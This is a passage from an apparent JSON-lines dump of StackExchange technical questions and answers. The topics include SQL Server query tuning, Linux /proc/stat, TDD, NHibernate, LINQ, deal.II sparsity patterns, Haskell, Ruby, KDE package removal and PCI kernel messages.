(UserID) REFERENCES #Users(UserID));GOINSERT INTO #Users (UserID)    SELECT 'A' UNION ALL    SELECT 'B' ;INSERT INTO #Entries (ItemID, UserID, Sequence)    SELECT 10001 ItemID, 'X' AS UserID, DATEADD(HOUR, (RAND() * 1000), GETDATE()) AS Sequence UNION ALL    SELECT 10001 ItemID, 'A' AS UserID, DATEADD(HOUR, (RAND() * 1000), GETDATE()) AS Sequence UNION ALL    -- etc.    SELECT 10300 ItemID, 'A' AS UserID, DATEADD(HOUR, (RAND() * 1000), GETDATE()) AS Sequence ;GO----- Demo source data ENDFor reference to others looking at this, the result set after running the whole query with sample data is as follows:PerformanceThis being the meat of your question, let's start by looking at our execution plan, which I ran based on the above sample data. I added markers 1-4 which caught my attention and will address individually. Note: I will make changes mainly in formatting as we go along.1. Duplicated Index ScansBoth of those identical scans come from the Src CTE, which is called from 2 the other 2 CTEs separately. I was looking for a way to eliminate the left join in favor of an existence check, however due to needing the u.UserID in your IsInternal field we will have to keep this join. One possibility, if this kind of operation (checking whether a user is internal) is something that is done frequently in your code base, you may consider adding an IsInternal boolean/bit column in Entries so you could eliminate this join altogether from your code base when you need to check if an entry is internal.I cannot tell you exactly how to optimize that CTE otherwise, but since you are scanning the same source data sets twice, perhaps consider storing the result set inside a temp table, which presumably might be a smaller set than the entire two original tables. WITH Src AS (    SELECT            Src_Ent.ItemID        ,   Src_Ent.UserID        ,   Src_Ent.Sequence        /*If the user for this item sequence is not found in Users, we mark it as Internal.*/        ,   (CASE WHEN Src_Usr.UserID IS NULL THEN 0 ELSE 1 END) AS IsInternal    FROM #Entries AS Src_Ent    LEFT JOIN #Users AS Src_Usr        ON Src_Usr.UserID = Src_Ent.UserID)Improvements to formatting: Changed table aliases to make query (and execution plan) easier to read. #Entries AS Src_Ent was e and #Users AS Src_Usr was u. I also wrapped the CASE expression in round brackets to help isolate it visually from its alias. I added a bit of documentation to the CASE statement.2. Sort #1 - Src_UserID_SubThis Sort results from the GROUP BY clause of Src_UserID_Sub subquery. Unfortunately it's not possible to eliminate this expensive sort, as rows must be sorted prior to being grouped. It's possible that this would be less expensive if you used a temp table as suggested in step (1) if you had a clustered index, for example by making an artificial primary key such as a RowID INT IDENTITY(1,1) column on the temp table. 3. Sort #2 - Src_UserID with ROW_NUMBER()This Sort is also impossible to eliminate with your current logic, otherwise the following error will be raised: The function 'ROW_NUMBER' must have an OVER clause with ORDER BY. It might be possible to do away with ROW_NUMBER(), but that might also be more harmful than beneficial, as it would likely require a loop or some other construct that is not very SQL-ish, and in the end, the query optimizer can probably work better with this built-in function than if we rolled our own. So again, very little optimization possible. I did eliminate the SELECT * in favor of enumerating the columns, as it makes it easier to understand, and in general SELECT * should usually be avoided for a variety of reasons. , Src_UserID AS (    SELECT            Src_UserID_Sub.ItemID        ,   Src_UserID_Sub.IsInternal        ,   Src_UserID_Sub.UserID        ,   Src_UserID_Sub.CountPerUser        ,   Src_UserID_Sub.FirstUserSequence        ,   ROW_NUMBER() OVER (                PARTITION BY                     Src_UserID_Sub.ItemID                  , Src_UserID_Sub.IsInternal                ORDER BY                     Src_UserID_Sub.FirstUserSequence            ) AS [RowCount]        FROM (            /*This subquery is used to get the number of entries per user,             as well as the earliest sequence related to said entries*/            SELECT                    Src.ItemID                ,   Src.IsInternal                ,   Src.UserID                ,   COUNT(*) AS CountPerUser                ,   MIN(Src.Sequence) AS FirstUserSequence                FROM Src                GROUP BY Src.ItemID, Src.IsInternal, Src.UserID        ) AS Src_UserID_SubImprovements to formatting: Changed subquery alias from Src_UserID to Src_UserID_Sub to differentiate it from the CTE name and therefore make the code less ambiguous. Got rid of SELECT * as mentioned above. Added a small amount of documentation explaining what the subquery is for. 4. Hash MatchSo here is the most expensive operation in your whole execution, at 31% operator cost. I'm going to quote one of the pros on DBA.StackExchange:The hash join is one of the more expensive join operations, as it requires the creation of a hash table to do the join. That said, its the join thats best for large, unsorted inputs. It is the most memory-intensive of any of the joins.Now, the thing is with hash joins, they are not necessarily slow, but they can be slow, depending on the memory load of the server at the time it is being executed. performance can also vary wildly based on the size of the build input vs. the amount of memory available, as the SQL optimizer will attempt to hold the hash table in memory, if it can. If it cannot due to insufficient memory, then it has to resort to more complex constructs such as Grace Hash Join and Recursive Hash Join. The type of hash join that is used is not easily discerned when optimizing, as this is done dynamically. Per TechNet page on Understanding Hash Joins:It is not always possible during optimization to determine which hash join is used. Therefore, SQL Server starts by using an in-memory hash join and gradually transitions to grace hash join, and recursive hash join, depending on the size of the build input.This one being less predictable, you will have to benchmark different solutions and compare the results. Would using temp tables instead of CTEs help? Maybe. Maybe not. Only way to know for sure is trying it in your environment. SELECT        items.ItemID    ,   items.FirstSequence    ,   internal.firstInternal    ,   internal.FirstInternalSequence    ,   internal.CountPerFirstInternal    ,   items.CountAllInternal    ,   items.CountAll    ,   items.LastSequenceFROM Src_Items AS itemsJOIN Src_FirstInternal AS internal    ON internal.ItemID = items.ItemID;Formatting improvements: changed aliases as such: s0 -> items and s1 -> internal. OverallI think overall your SQL code is quite well written. From the looks of it, this probably belongs in a stored procedure. If it doesn't, then maybe you should make it so, that would give you further performance improvement by saving the execution plan after first execution. "  } 
{  "id": "_unix.356082"  , "question": "When we cat /proc/stat, the first line is time spent in certain mode, user, nice, system, idle, iowait, irq, softirq, ext.My question is how the number of cores or the number of cpus impact the value.For example,if the computer have two cpus, each with two cores.The idle time will be the sum of all four cores?"  , "title": "How the value of /proc/stat will be impacted by the count of cpu or cpu cores?"  , "tags": "linux;proc;time"  , "accepted_answer": "It is the sum of idle times of all cpu's present in the machine. Assuming the machine to have two cpu's, you shall see something like this,cpu  12025658 7696 2460383 3405462812 174924 2 19062 144244 0 0 <----- first linecpu0 8463714 3740 1309236 1700443907 15984 0 68 63475 0 0cpu1 3561944 3955 1151147 1705018904 158940 2 18994 80769 0 0I am not sure about how can we get core level information in a cpu.  For example, What is the idle time of core0 in cpu0 ?  Will update if i get to know about it."  } 
{  "id": "_softwareengineering.272627"  , "question": "This is a question concerning the fundamental approach of TDD, so the example below is as simple as possible which might make it seem a little useless; but of course the question applies to more complicated situations as well.Some colleagues and I are currently discussing and trying out some basic TDD ways of coding.  We came across the questions how to deal with cheap solutions for existing but not encompassing TCs.  In TDD one writes a TC which fails, then implements whatever it takes (and not more!) to let the TC pass.  So the task at hand would be to make the TC green with as little effort as possible.  If this means to implement a solution which uses inside knowledge of the TC, so be it.  The reasoning was that later TCs would check for more general correctness anyway, so that first solution would need to be improved then (and only then).Example:We want to write a comparison function for a data structure with three fields.  Our comparison shall return whether the given values are equal in all three fields (or differ in at least one).  Our first written TC only checks if a difference in the two first values is detected properly:  It passes (a,b,c) and (a,b,c) and checks for a correct detection of equality, then it passes (a,b,c) and (x,b,c) and checks for a correct detection of inequality.Now the cheap approach would be to also implement only a comparison of the first field because this should be enough to pass this TC.  Keep in mind that this can be done because we know that later tests will also check for the equality of the two other fields.But of course it does not seem very useful to only implement such a (more or less) nonsense solution; every programmer doing this would do it in the knowledge of writing a bug.  It obviously seems more natural to write a decent comparison right away in the first iteration.On the other hand, writing a correct solution without having a TC which checks it might lead to the situation that such a TC which tests the behaviour more thoroughly will never get written.  So there is behaviour which was written without having a TC for it (i. e. which is not developed test-driven).Maybe a proper approach is to not write such rudimentary TCs (like the one only checking the first field) in the first place, but that would mean to demand perfect TCs in first iteration (and of course in complexer situations one will probably not always write perfect TCs).So how should one deal with rudimentary TCs?  Implement a cheap solution or not?"  , "title": "Cheap implementations in fundamental TDD"  , "tags": "unit testing;testing;tdd"  } 
{  "id": "_softwareengineering.202399"  , "question": "So, I've been evaluating Entity Framework and NHibernate (I'm not looking for an EF vs. NH battle here, though!).One thing that I see come up very often is that NHibernate is recommended for legacy/brownfield database projects, and lighter-weight ORMs (Dapper, etc) are sometimes recommended for newer dbs.I will be applying my ORM to a brownfield database.  What specific features of NHibernate make it so widely recommended for legacy dbs.  (I have never heard anyone say here's why NHibernate is better for legacy DB's -- I really want to know that, so that I can evaluate NHibernate appropriately)And by the way, what is the definition of legacy here?  Do people mean databases that are not well normalized?(or)databases that are being accessed through non-ORM means, such as SQL queries or stored procs?(or)not talking about the database at all, but referring to classic 2 tier systesms (or 2-tier web apps, where there is thick session state, and no application tier)?(or)Any database that is isn't a noSQL database?If it's of any use the discussion.  I will be using this ORM to build distributed, multi-tier software.  So I think that a lot the stateful features in ORMs -- like change tracking, etc, will not matter to me very much."  , "title": "What specific features of NHibernate cause it to be recommended for legacy database systems?"  , "tags": "architecture;orm;nhibernate"  , "accepted_answer": "I'm not familiar with EF, so it's possible that what I'm about to mention exists in EF as well.I'm working with Priority ERP, which has a legacy database. What does legacy means in this case? No foreign keysSometimes being forced to create both a sequence numeric primary key and a unique key due to Priority ERPTable and field names limited to 20 characters capital letters onlyFake floating numbers (field stores int 10500, actual value is 10.500)Booleans are stored as one character varchar field, where Y is true, and anything else is false (and I do mean anything else, some Priority ERP procedures use empty string, some N)Dates and times are stored as number of minutes since 1-1-1988 (only minutes, no ability to store seconds)Having to work with prebuilt tables that were built in the 80's and because of no foreign keys the relationship between the tables is awkward to say the leastSome tables have FIELD1...FIELD10 per row instead of a join table, which makes it impossible to do normal queries on the table.No nulls allowed in any fieldEvery table, even with zero data, has an empty row filled with default values that is used as a replacement for outer join because of the no nulls setting.NHibernate plus ActiveRecord enables me to support all those limitations pretty easily:Built in extension points when handling CRUD operationsAbility to map the actual field contents on a field and convert it back and forth with a propertyLetting me define almost any mapping between entitiesCreating a custom query with HQL to do exactly what I need, even if I can't map the relationships between the entities"  } 
{  "id": "_codereview.93973"  , "question": "I have two lists of objects Person and PersonResult. Both are linked through the property PersonId. I need to create a filter for the list of PersonResult that meet certain criteria for the Person (e.g. Person.Gender == female).Im currently using the following LINQ query to achieve this:PersonResultList = PersonResultList.Where(pr =>     PersonList.FirstOrDefault(p => pr.PersonId == p.PersonId) != null &&     PersonList.FirstOrDefault(p => pr.PersonId == p.PersonId).Gender == female);This works apparently well, however, I must iterate twice through PersonList to check if the person exist and its gender. Is there a more elegant way to achieve this?"  , "title": "LINQ query that filters elements from a list of object"  , "tags": "c#;linq"  , "accepted_answer": "You can simply combine the conditions inside the FirstOrDefault() like  PersonResultList = PersonResultList    .Where(pr => PersonList                    .FirstOrDefault(p => pr.PersonId == p.PersonId                                          && p.Gender == female) != null );  Because I only changed your existing code, it didn't came to my mind what Nikita Brizhak commented here .  You should probably use Any instead of FirstOrDefault  So let us change the code to  PersonResultList = PersonResultList        .Where(pr => PersonList                        .Any(p => pr.PersonId == p.PersonId                               && p.Gender == female)); This is based on the assumption that for each entry in the first list there will be only one entry in the second list."  } 
{  "id": "_unix.155818"  , "question": "With Buildroot I'm making images for my Embedded Linux Hardware. Mainly I'm trying to speed up the boot sequence (and on the way lower the memory usage), where I've tried many techniques successfully.What I'd like to do: Recently I've heared about removing duplicated files in a directory (by e.g. replacing those files with symbolic links) and I'd like to apply this method to my rootfsThe surroundings: With Buildroot I can have many different types of rootfs formats (cramfs, cpio, ext2/3/4, etc.), which are created during make as 1 (packed) file (e.g.: rootfs.cpio). Now I don't really know how to:open up the image remove duplicated files (well I know how to remove duplicated files in general)pack the rootfs again - sothat I still can use it to flash and execute it on my hardwareMaybe it's not even possible at all. I believe at least when using static libraries, many files can be replaced.Has somebody an idea?"  , "title": "Removing duplicated files in the rootfs - to speed up booting time, and improve memory usage"  , "tags": "linux;files;embedded;startup;buildroot"  } 
{  "id": "_scicomp.21375"  , "question": "When learning the deal.II FE library, I am a bit confused about the mechanism of its SparsityPattern class. Through reading the documentation, I only got to know that it uses the Compressed Row Storage format to store indices of nonzero entries of a sparse matrix. To put my confusion be explicit, suppose I have a quare 10x10 sparse matrix which stores the values corresponding to 10 degrees of freedom, namely dof_handler.n_dofs = 10:\\begin{pmatrix}1 & 2 & 0 &  0 & 0  & 0  & 0  & 0  & 0  & 0\\\\3 & 4 & 5 &  0 & 0  & 0  & 0  & 0  & 0  & 0\\\\0 & 6 & 7 &  8 & 0  & 0  & 0  & 0  & 0  & 0\\\\0 & 0 & 9 & 10 & 11 & 0  & 0  & 0  & 0  & 0\\\\0 & 0 & 0 & 12 & 13 & 14 & 0  & 0  & 0  & 0\\\\0 & 0 & 0 & 0  & 15 & 16 & 17 & 0  & 0  & 0\\\\0 & 0 & 0 & 0  & 0  & 18 & 19 & 20 & 0  & 0\\\\0 & 0 & 0 & 0  & 0  & 0  & 21 & 22 & 23 & 0\\\\0 & 0 & 0 & 0  & 0  & 0 &  0  & 24 & 25 & 26\\\\0 & 0 & 0 & 0  & 0  & 0 &  0  & 0  & 27 & 28\\\\\\end{pmatrix}But at first, suppose we don't know exactly where the nonzero entries are and can only get a maximal estimate of their number at each row, say max_per_row, and let max_per_row = 5. Then the sparsity pattern would be:\\begin{pmatrix}X & X & 0 & 0 & 0 & 0 & 0 & X & X & X\\\\X & X & X & 0 & 0 & 0 & 0 & 0 & X & X\\\\X & X & X & X & X & 0 & 0 & 0 & 0 & 0\\\\0 & X & X & X & X & X & 0 & 0 & 0 & 0\\\\0 & 0 & X & X & X & X & X & 0 & 0 & 0\\\\0 & 0 & 0 & X & X & X & X & X & 0 & 0\\\\0 & 0 & 0 & 0 & X & X & X & X & X & 0\\\\0 & 0 & 0 & 0 & 0 & X & X & X & X & X\\\\X & 0 & 0 & 0 & 0 & 0 & X & X & X & X\\\\X & X & 0 & 0 & 0 & 0 & 0 & X & X & X\\\\\\end{pmatrix}One way to get the sparsitypattern is:SparsityPattern  sparsity_pattern;sparsity_pattern.reinit(10, 10, 5);DoFTools::make_sparsity_pattern(dof_handler, sparsity_pattern);sparsity_pattern.compress()where dof_handler stores the information of degrees of freedom. And it can also be implemented as below:DynamicSparsityPattern dynamic_pattern (dof_handler.n_dofs());DoFTools::make_sparsity_pattern (dof_handler, dynamic_pattern);constraints.condense (dynamic_pattern);SparsityPattern sp;sp.copy_from (dynamic_pattern);So, my question is:*1) Here, when we call sparsity_pattern.reinit(10, 10, 5), does it create an empty 10x10 matrix (2D vector) or just a 1x100 vector storing the values row by row? And if it is 10x10 or 1x100, then what is the functionality of third parameter max_per_row=5? *2) I think sparsity_pattern.reinit(10, 10, 5) creates a 10x10 matrix and then using DoFTools::make_sparsity_pattern(dof_handler, sparsity_pattern) to create a CRS format, i.e, two vectors storing the row columm index of nonzero entries at each row and the index starting a new row respectively, according to the dof information stored in dof_handler. Does this understanding make sense?*3) I know in C++ STL, we can compress a vector to its actuall capacity using its member function vector.shrink_to_fit. But here if DoFTools::make_sparsity_pattern has already make a compressed format of 5 entries at each row (according to *2), how can it be compressed again using sparsity_pattern.compress()?*4) Does DynamicSparsityPattern dynamic_pattern (dof_handler.n_dofs()) creates a (n_dofs) x (n_dofs) matrix, then what's the difference between DoFTools::make_sparsity_pattern(dof_handler, sparsity_pattern) and DoFTools::make_sparsity_pattern (dof_handler, dynamic_pattern).*5) What about constraints.condense (dynamic_pattern)? *6) In C++ STL, we know that we can copy a vector v1 of size 4, capacity 8 to a vector v2, then v2 will be of capacity 4. In this way, can can also compress a vector to its actuall capacity. Is it the same mechanism to use `sp.copy_from (dynamic_pattern)'?I know these questions are so dummy to experienced users of deal.II. But to green learners as me, they are really great hurdles to jump. I sincerely hope someone could be so kind to give some help, and any comments would be greatly appreciated. Thanks in advance!"  , "title": "Topics about the deal.II finite element library class SparsityPattern"  , "tags": "c++;sparse;data storage;deal.ii"  , "accepted_answer": "I will try answer based on my experience with deal.ii. The max_per_row=5 means that at most there will be 5 non-zeros per row in the matrix. Since we now know this then we do not need to have a $1\\times{}100$ matrix but rather a $1\\times{}50$. In other words this parameter sets an upper-bound on the memory needed. In reality it is not stored as one vector but rather as two: a row pointer vector and a column indicies vector in accordance with CRS format. See 2).Yes the sparsity pattern holds the row pointers and the column indices as two vectors.We must potentially compress again because while we set maximum of 5 entries per row, there may in fact be less for any given row. One row might have 5 while a different row might only have 3. This results in extra entries in the column index vector that should be removed by compression. Note that these extra entries in the column index vector are often written as $-1$'s since a column index can never be negative and thus if it is $-1$ we know that no non-zero has been assigned for that column index.As the documentation says the DynamicSparsityPattern is used to find the sparsity pattern while being compressed at all times. This reduces memory overhead at the expense of cpu time.This class acts as an intermediate form of the SparsityPattern class. From the interface it mostly represents a SparsityPattern object that is kept compressed at all times. However, since the final sparsity pattern is not known while constructing it, keeping the pattern compressed at all times can only be achieved at the expense of either increased memory or run time consumption upon use. The main purpose of this class is to avoid some memory bottlenecks, so we chose to implement it memory conservative. The chosen data format is too unsuited to be used for actual matrices, though. It is therefore necessary to first copy the data of this object over to an object of type SparsityPattern before using it in actual matrices.Another viewpoint is that this class does not need up front allocation of a certain amount of memory, but grows as necessary. An extensive description of sparsity patterns can be found in the documentation of the Sparsity patterns module.The documentation has this to say:Condense a sparsity pattern. The name of the function mimics the name of the function we use to condense linear systems, but it is a bit of a misnomer for the current context. This is because in the context of linear systems, we eliminate certain rows and columns of the linear system, i.e., we reduce or condense the linear system. On the other hand, in the current context, the functions does not remove nonzero entries from the sparsity pattern. Rather, it adds those nonzero entry locations to the sparsity pattern that will later be needed for the process of condensation of constrained degrees of freedom from a linear system.Since this function adds new nonzero entries to the sparsity pattern, the given sparsity pattern must not be compressed. The constraint matrix (i.e., the current object) must be closed. The sparsity pattern is compressed at the end of the function.We copy the DynamicSparsityPattern to a regular SparsityPattern using the copy call because apparently the dynamic one isn't in a nice enough format for later operations. How this is done internally may involve vector copies as you suggest but I am not sure.Concrete ExampleLets run through your first SparsityPattern code snippet (keeping in mind that the exact details of how this is done in deal.ii might differ, but the basic idea I think is correct.)SparsityPattern  sparsity_pattern;sparsity_pattern.reinit(10, 10, 5);DoFTools::make_sparsity_pattern(dof_handler, sparsity_pattern);sparsity_pattern.compress()Call SparsityPattern  sparsity_pattern;. This just creates our sparsity pattern object with default constructor. The sparsity_pattern object contains member variables like row and col both of which are vectors (currently of size 0). Note: row and col are names I made up. They are called something else in deal.ii.Call sparsity_pattern.reinit(10, 10, 5);. Our sparsity pattern initializes the row pointer and column index vectors. This might look something like: row.resize(10+1,0); and col.resize(10*5,-1);Call make_sparsity_pattern. This determines where the non-zeros in our sparse matrix will be, however some of the col entries will still be -1's - i.e. cases where there was less then 5 non-zeros in the row. Otherwise row is correctly filled and col contains both -1's and other positive column indices indicating the columns where non-zeros exist.Call compress. This compresses the col vector by removing any -1's."  } 
{  "id": "_softwareengineering.345741"  , "question": "I'm writing java library(jar file) to log Web service request and responses in a Database for in-house application. This library will have two methods registerReuqest and registerResponse. I'm wondering is it good idea to pass database connection to these library methods?Passing connection to library will have some pros and cons.Pros:One connection can be used to register request and response, both of them. This decrease delay of opening second connection. In some cases, caller service will use the same connection too. Cons: Caller service and library becomes coupled. "  , "title": "Passing database connection to the library"  , "tags": "java;design patterns;libraries;coupling;inversion of control"  } 
{  "id": "_codereview.61571"  , "question": "Some patterns are emerging (fmap (b->a) . fmap (c->b) . .. . (IO z)). Also infix zip is kind-of a hack.What is:Best practice in point-free style?Best practice?Elegance > Performance;  Functional > Imperativeimport qualified Data.Map.Lazy as Mimport qualified Data.ByteString.Char8 as BSfromFile :: FilePath -> IO (M.Map Char Int)fromFile = fmap (M.fromListWith (+)) . fmap (`zip` [1,1..]) . readFile    where readFile = fmap BS.unpack . BS.readFile"  , "title": "Count frequency of characters in a file"  , "tags": "haskell;io"  , "accepted_answer": "Best practice would be to separate the pure operations of your program from those that actually require IO. Counting the frequency of elements in a list doesn't require any IO, so you should tease that fromFile function apart into its constituent components for reusability, testing, comprehensibility, or whatever other purpose you'd like.frequencies :: Ord k => [k] -> Map k Intfrequencies = fromListWith (+) . (`zip` [1,1..])fromFile :: FilePath -> IO (Map Char Int)fromFile = fmap frequencies . fmap unpack . readFileI'd tweak this just a bit further, using repeat from the Prelude to build the infinite list instead of abusing list ranges, and to take advantage of the Functor laws and drop a few characters. I flip back and forth on writing functions in pointfree style when it requires infix sectioning too, in this case I'd probably keep the points but I don't know that one choice is clearly better than the other.frequencies ks = fromListWith (+) $ zip ks (repeat 1)fromFile = fmap (frequencies . unpack) . readFile"  } 
{  "id": "_softwareengineering.108664"  , "question": "I am developing a very simple iPhone game with this view hierarchy:Main Menu View  > New Game View  |    > Player vs Computer Game View  |    |    > Pause View  |    |    > End Turn View  |    |    > End Game View  |    |   |    > Player vs Player (offline) Game View  |         > Pause View  |         > End Turn View  |         > End Game View  |  > Information ViewMy current implementation has a single ViewController that controls every aspect of the user interface and a single XIB file that contains every View of the game.Is this correct? It looks a bit confusing...Should i have more ViewControllers and more XIB files? And what's the proper way to make them cooperate?"  , "title": "What's the proper way to organize ViewControllers and XIB?"  , "tags": "iphone;ios;game development;user interface"  } 
{  "id": "_webapps.103082"  , "question": "I keep getting email sent to similar email addresses as mine.  for example, if my email address is:  jfrank@gmail.com, I also get emails addressed to j.frank@gmail.com.  This j.frank email is not associated with my email address, so I cannot remove the association.  How can I block these type emails?   "  , "title": "Receiving gmail to an account that is not linked to my email address"  , "tags": "gmail"  } 
{  "id": "_hardwarecs.7578"  , "question": "I'm looking for options to replace my current mouse which has some interesting features, but not all I want.Must-Haves / Hard Requirements:Price must be <100 in GermanyThe configuration software must work with Windows 10 Creator's UpdateThe mouse needs to have at least two clickable buttons additionally to a standard clickable scroll-wheel and the left- and right mouse buttonsThe configuration software must be able to assign the following actions:Open Windows Explorer (win-key + e)Copy (Ctrl+c)Paste (Ctrl+v)Open Start (win-key)Double-ClickThe mouse must feature a sensor that either has no hardware mouse acceleration or where it can be turned off through the configuration softwareIt must be wired and use USB as its interfaceIt must feature a closed design, that is it must not be / look like the Mad Catz RAT seriesReally Nice-To-Haves:The mouse allows me to program 4 of the 5 above listed functionalities at once, ie it has either 4 buttons or features something like a shift buttonThe mouse works out of the box with Windows using default drivers (HID)The mouse can save its programming and apply it to new machines without the configuration software installed (ie if I configure ExtraButton1 to be copy it must work on all machines out-of-the-box)The mouse should last >5 years, for the sake of comparability we set this requirement equal with has >2 years of manufacturer warrantyNeat features:A configurable lift distanceA configurable DPI valueConfigurable weightBig size"  , "title": "Linear, durable and programmable mouse?"  , "tags": "mice"  } 
{  "id": "_codereview.60695"  , "question": "The if/else statements below are not good. How can I improve this method?public T GetContentByNodeIdSync<T>(Guid nodeId){    var data = m_CMSCatalog.GetContentByNodeId(nodeId);    if (typeof(T) == typeof(WebFolder))    {        var model = (WebFolderDTO)data;        return Mapper.Map<WebFolderDTO, T>(model);    }    else if (typeof(T) == typeof(ContentListItem))    {        return Mapper.Map<ContentListItemDTO, T>((ContentListItemDTO)data);    }    else if (typeof(T) == typeof(Image))    {        return Mapper.Map<ImageDTO, T>((ImageDTO)data);    }    else if (typeof(T) == typeof(File))    {        return Mapper.Map<FileDTO, T>((FileDTO)data);    }    else if (typeof(T) == typeof(Folder))    {        return Mapper.Map<FolderDTO, T>((FolderDTO)data);    }    else if (typeof(T) == typeof(WebRoot))    {        return Mapper.Map<WebRootDTO, T>((WebRootDTO)data);    }    else if (typeof(T) == typeof(Article))    {        var model = (ArticleDTO)data;        return Mapper.Map<ArticleDTO, T>(model);    }    else if (typeof(T) == typeof(WebContent))    {        var model = (WebContentDTO)data;        return Mapper.Map<WebContentDTO, T>(model);    }    return default(T);}"  , "title": "Simplifying a series of type checks and casts in a generic method"  , "tags": "c#;generics;type safety"  } 
{  "id": "_unix.136439"  , "question": "I'm running A file | B --params > file.txt. Since I want to accelerate the processing speed, I used the parallel -j+0< a.txt to run 20 jobs concurrently. a.txt contains all the commands:A file1 | B --params > file1.txt A file2 | B --params > file2.txtA fileN | B --params > fileN.txtIs this way safe? Will the stdout from different programs be messed when running in parallel?"  , "title": "Is it safe to pipe the stdout of A to B in parallel"  , "tags": "bash;pipe;parallel"  } 
{  "id": "_datascience.15346"  , "question": "Ive been using statsmodels for multivariable regression and id like to know of it has q lincom command like stata. For example if i want to carry out hypothesis testing on an estimate with Ho: b=1 and H1:b>1 after regression"  , "title": "Python equivalent to statas lincom command"  , "tags": "python;dataset"  } 
{  "id": "_unix.368365"  , "question": "So I recently installed the kde packages, running the commandapt install kde-full for installing the kde desktop environment, after test it a while I realize I didn't want it anymore so I remove the packages like this apt remove kde-full, but I notice that some packages and applications remains and weren't completely removed.I am on Debian 8 distribution. I recently turned to the linux world so any help will be appreciated.[Edit]I also tried tasksel --list-task:u desktop   Debian desktop environmentu gnome-desktop GNOMEu xfce-desktop  Xfceu kde-desktop   KDEu cinnamon-desktop  Cinnamonu mate-desktop  MATEu lxde-desktop  LXDEu web-server    web serveru print-server  print serveru ssh-server    SSH serveri laptop    laptopSome packges listing with synaptic-package-manager:aptitude why kde-base-artwork output:aptitude why kde-base-artworki   kdeartwork         Depends kscreensaver (>= 4:4.14.2-1)      i A kscreensaver       Depends kde-workspace-bin                 i A kde-workspace-bin  Depends kde-workspace-data (= 4:4.11.13-2)i A kde-workspace-data Depends kde-base-artwork       "  , "title": "How to remove all kde packages?"  , "tags": "debian;apt;package management;kde"  } 
{  "id": "_codereview.77683"  , "question": "I tried to help someone in Stackoverflow with a refactoring exercise. Did many changes to his original code and made a somewhat decent solution (at least in my eyes). Was thinking, whether someone can critique on my implementation.class Theatre  COST = { running: 3, fixed: 180 }  attr_accessor :number_of_audience, :ticket_price  def revenue    @number_of_audience * @ticket_price  end  def total_cost    COST[:fixed] + (@number_of_audience * COST[:running])  end  def net    revenue - total_cost  end  def profit?    net > 0  endendclass TheatreCLI  def initialize    @theatre = Theatre.new  end  def seek_number_of_attendes    print 'Number of audience: '    @theatre.number_of_audience = gets.chomp.to_i  end  def seek_ticket_price    print 'Ticket price: '    @theatre.ticket_price = gets.chomp.to_i  end  def print_revenue    puts Revenue for the theatre is RM #{@theatre.revenue}.  end  def print_profit    message_prefix = @theatre.profit? ? 'Profit made' : 'Loss incurred'    puts #{message_prefix} #{@theatre.net.abs}.  end  def self.run    TheatreCLI.new.instance_eval do      seek_ticket_price      seek_number_of_attendes      print_revenue      print_profit    end  endendTheatreCLI.run"  , "title": "Refactoring a simple Ruby CLI program"  , "tags": "ruby"  , "accepted_answer": "It's very strange you're using instance_eval. That's not how a regular program should work and is not needed in your code.If you want to avoid calling 4 instance methods from a class instance method, then you can create a new instance method like:def workflow  seek_ticket_price  seek_number_of_attendes  print_revenue  print_profitenddef self.run  TheatreCLI.new.workflowendMaybe it's not a problem here, but using a lot of instance_eval for saving keystrokes looks like working around a bad API.  Also my gut feeling tells me that such practice can lead to unexpected troubles if used outside class body."  } 
{  "id": "_softwareengineering.300801"  , "question": "I am currently building an application with a layered architecture in C. Currently, I have built and tested the bottom layer, which is a networking module, providing functionality such as connecting/disconnecting, sending messages, etc.On top of it, I am building another layer, that implements a communication protocol. It has functionality such as connect, which calls network_connect internally to create the actual connection and does some protocol related business, such as registering on a server.Now, the problem is how should I test the second layer? The original approach was to create 2 threads, open a server on one of them, connect to it and monitor the traffic (basically check if the required protocol-related data has been transferred). However, I do not need to test the actual network connection, since that is already tested in the tests for the networking module and I feel this approach is too complicated.One approach I could think of was to expose the internal socket file descriptor from the networking module through getters/setters (which I needed anyway) and replace the network connection with a pipe. This approach works for most of the operations, except for the actual connection, where the network connect routine is called internally. Also, the connection in this case is made to a server whose ip/port is not exposed outside of this module (it is currently defined as a constant and will soon be moved into a config file).How should I approach the testing of this module? "  , "title": "Testing of a layered software architecture"  , "tags": "testing;layers"  } 
{  "id": "_unix.184098"  , "question": "I have VMware virtual machine running Debian Wheezy. I have compiled my own kernel 3.14. I have noticed dmesg is flooded with messages pci BAR 7: can't assign io (size 0x1000).I have no idea what these messages mean. The VM seems to be running OK, I don't see any problems. Nevertheless, I am bothered by these error messages, and I would be happy if I could get rid of them.Could somebody please explain 1) what do these messages mean2) how can I get rid of them...pnp: PnP ACPI: found 9 devicesACPI: bus type PNP unregisteredpci 0000:00:15.3: bridge window [io  0x1000-0x0fff] to [bus 06] add_size 1000pci 0000:00:15.4: bridge window [io  0x1000-0x0fff] to [bus 07] add_size 1000pci 0000:00:15.5: bridge window [io  0x1000-0x0fff] to [bus 08] add_size 1000pci 0000:00:15.6: bridge window [io  0x1000-0x0fff] to [bus 09] add_size 1000pci 0000:00:15.7: bridge window [io  0x1000-0x0fff] to [bus 0a] add_size 1000pci 0000:00:16.3: bridge window [io  0x1000-0x0fff] to [bus 0e] add_size 1000pci 0000:00:16.4: bridge window [io  0x1000-0x0fff] to [bus 0f] add_size 1000pci 0000:00:16.5: bridge window [io  0x1000-0x0fff] to [bus 10] add_size 1000pci 0000:00:16.6: bridge window [io  0x1000-0x0fff] to [bus 11] add_size 1000pci 0000:00:16.7: bridge window [io  0x1000-0x0fff] to [bus 12] add_size 1000pci 0000:00:17.3: bridge window [io  0x1000-0x0fff] to [bus 16] add_size 1000pci 0000:00:17.4: bridge window [io  0x1000-0x0fff] to [bus 17] add_size 1000pci 0000:00:17.5: bridge window [io  0x1000-0x0fff] to [bus 18] add_size 1000pci 0000:00:17.6: bridge window [io  0x1000-0x0fff] to [bus 19] add_size 1000pci 0000:00:17.7: bridge window [io  0x1000-0x0fff] to [bus 1a] add_size 1000pci 0000:00:18.2: bridge window [io  0x1000-0x0fff] to [bus 1d] add_size 1000pci 0000:00:18.3: bridge window [io  0x1000-0x0fff] to [bus 1e] add_size 1000pci 0000:00:18.4: bridge window [io  0x1000-0x0fff] to [bus 1f] add_size 1000pci 0000:00:18.5: bridge window [io  0x1000-0x0fff] to [bus 20] add_size 1000pci 0000:00:18.6: bridge window [io  0x1000-0x0fff] to [bus 21] add_size 1000pci 0000:00:18.7: bridge window [io  0x1000-0x0fff] to [bus 22] add_size 1000pci 0000:00:15.3: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:15.4: 